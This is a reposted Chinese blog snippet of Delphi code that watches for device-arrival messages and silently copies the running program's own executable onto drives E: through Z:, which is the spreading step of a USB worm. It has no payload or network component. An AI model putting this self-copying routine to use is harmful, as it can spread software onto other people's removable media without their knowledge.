Delphi程序将自身可执行文件拷贝到U盘的代码

本文整理自网络，侵删。

 
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
  private
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
  end;
type
  TCopyItself = class(TThread)
    Msg: TMessage;
    procedure Execute; override;
  end;

var
  Form1: TForm1;

const
  DBT_DEVICEARRIVAL          =  $00008000;
  DBT_DEVICEREMOVECOMPLETE   =  $00008004;
  DBT_DEVTYP_VOLUME          =  $00000002;

// Device structs
type
  _DEV_BROADCAST_HDR         =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
  end;
  DEV_BROADCAST_HDR          =  _DEV_BROADCAST_HDR;
  TDevBroadcastHeader        =  DEV_BROADCAST_HDR;
  PDevBroadcastHeader        =  ^TDevBroadcastHeader;

type
  _DEV_BROADCAST_VOLUME      =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
     dbcv_unitmask:          DWORD;
     dbcv_flags:             WORD;
  end;
  DEV_BROADCAST_VOLUME       =  _DEV_BROADCAST_VOLUME;
  TDevBroadcastVolume        =  DEV_BROADCAST_VOLUME;
  PDevBroadcastVolume        =  ^TDevBroadcastVolume;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
  CopyItself1: TCopyItself;
begin
  inherited;
    CopyItself1 := TCopyItself.Create(True);
    CopyItself1.Msg := Msg;
    CopyItself1.FreeOnTerminate:=True;
    CopyItself1.Suspended:=False;
    CopyItself1.Execute;
end;

{ TCopyItself }

procedure TCopyItself.Execute;
const
  DBT_DEVICEARRIVAL = $8000; // system detected a new device
  DBT_DEVTYP_VOLUME = $0002;
  DBT_DEVICEREMOVECOMPLETE = $8004;  // device is gone
var
  I: Integer;
  DriveLetter: char;
  lpdbhHeader:   PDevBroadcastHeader;
begin
  inherited;
  lpdbhHeader:=PDevBroadcastHeader(Msg.lParam);
  case Msg.wParam of
    DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE:
    begin
    Sleep(3500);
      for I := 69 to 90 do begin // to 90
        DriveLetter:=Chr(i);
        if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin
        CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true);
        end;
      end;
    end;
  end;
end;

end.
//该代码片段来自于: http://www.sharejs.com/codes/delphi/8443
 

相关阅读 >>

Delphi 无类型文件读写

Delphi 字符串加密解密代码

Delphi inifile to xml

Delphi 取得开机时间 开机时间总长度（可精确到秒，分钟等）

Delphi 改造shellexecute 精简函数

idtcpclient和idtcpclient 主要属性和方法

Delphi xe2 新增 system.zip 单元, 可用一句话压缩整个文件夹了

Delphi windows 下用 Delphi 代码杀死进程，或者杀死自己

Delphi获取android上的imei

Delphi firedac tfddatamove 导出csv

更多相关阅读请进入《Delphi》频道 >>

转载请注明出处：木庄网络博客 » Delphi程序将自身可执行文件拷贝到U盘的代码